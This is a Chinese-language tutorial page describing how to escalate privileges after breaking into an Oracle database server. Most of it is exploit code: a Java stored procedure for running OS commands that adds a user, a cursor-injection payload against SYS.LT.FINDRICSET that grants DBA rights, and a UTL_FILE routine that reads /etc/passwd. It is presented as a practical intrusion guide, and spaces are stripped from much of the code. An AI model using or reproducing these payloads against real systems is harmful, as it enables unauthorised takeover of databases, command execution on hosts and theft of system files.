1818IP-服务器技术教程,云服务器评测推荐,服务器系统排错处理,环境搭建,攻击防护等

当前位置:首页 - 数据库 - 正文

君子好学,自强不息!

以下的文章主要介绍的是入侵Oracle服务器的进一步获取想过关权限,我们可以很快的连接上Oracle数据库服务器,此时你会发现:以下的几种情况,即,连接后不是dba权限,还有不能利用SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES漏洞提升权限。

还有的一种情况就是运行SELECT UTL_HTTP.request(‘http://xxxxxxxxxxx/login.jsp’) FROM dual 后发现Oracle服务器不能连接网络。

幸运的是,

运行

createorreplacefunctionLinx_Query(pvarchar2)
returnnumberauthidcurrent_userisbeginexecuteimmediatep;return1;end;

成功!这个用户具有create proceduce权限。

此时马上想到创建java扩展执行命令:

createorreplaceandcompilejavasourcenamed“LinxUtil”asimportjava.io.*;
publicclassLinxUtilextendsObject{publicstaticStringrunCMD(Stringargs)
{try{BufferedReadermyReader=newBufferedReader
(newInputStreamReader(Runtime.getRuntime().exec(args).getInputStream()));
Stringstemp,str=”";while((stemp=myReader.readLine())!=null)str+=stemp+”
“;myReader.close();returnstr;}catch(Exceptione){returne.toString();}}} 
begindbms_java.grant_permission(‘PUBLIC’,‘SYS:java.io.FilePermission’,‘<>’,‘execute’);end; 
createorreplacefunctionLinxRunCMD(p_cmdinvarchar2)returnvarchar2aslanguagejavaname
‘LinxUtil.runCMD(java.lang.String)returnString’ 
select*fromall_objectswhereobject_namelike‘%LINX%’ 
grantallonLinxRunCMDtopublic 
selectLinxRunCMD(‘cmd/cnetuserlinx/add’)fromdual 

但是在第一步就卡住了,Oracle服务器由于某种未知原因 不能创建java扩展!!

还好,我们还有UTL库可以利用:

createorreplacefunctionLinxUTLReadfile
(filenamevarchar2)returnvarchar2is 
fHandlerUTL_FILE.FILE_TYPE; 
bufvarchar2(4000); 
outputvarchar2(8000); 
BEGIN 
fHandler:=UTL_FILE.FOPEN(‘UTL_FILE_DIR’,filename,‘r’); 
loop 
begin 
utl_file.get_line(fHandler,buf); 
DBMS_OUTPUT.PUT_LINE(‘Cursor:‘||buf); 
exception 
whenno_data_foundthenexit; 
end; 
output:=output||buf||chr(10); 
endloop; 
UTL_FILE.FCLOSE(fHandler); 
returnoutput; 
END; 

UTL_FILE_DIR需要先用:

CREATEORREPLACEDIRECTORYUTL_FILE_DIRAS‘/etc’;

指定目。但运行后发现没有权限。只好想办法提权。

游标注射

老外写了N个pdf介绍这技术,我精简了代码:

DECLARE 
MYCNUMBER; 
BEGIN 
MYC:=DBMS_SQL.OPEN_CURSOR; 
DBMS_SQL.PARSE(MYC,’declarepragmaautonomous_transaction;
beginexecuteimmediate”GRANTDBATOlinxlinx_current_db_user”;commit;end;’,0); 
DBMS_OUTPUT.PUT_LINE(‘Cursor:‘||MYC); 
BEGINSYS.LT.FINDRICSET(‘.”||dbms_sql.execute(‘||MYC||’)||””)–’,'x’);END; 
raiseNO_DATA_FOUND; 
EXCEPTION 
WHENNO_DATA_FOUNDTHENDBMS_OUTPUT.PUT_LINE(‘Cursor:‘||MYC); 
WHENOTHERSTHENDBMS_OUTPUT.PUT_LINE(‘Cursor:‘||MYC); 
END; 

运行后重新连接就有dba权限了,简单吧……

现在可以读取文件了:

CREATEORREPLACEDIRECTORYUTL_FILE_DIRAS‘/etc’; 
selectLinxUTLReadfile(‘passwd’)fromdual 

后面就简单了,不写了。

本文来源:1818IP

本文地址:https://www.1818ip.com/post/11296.html

免责声明:本文由用户上传,如有侵权请联系删除!

发表评论

必填

选填

选填

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。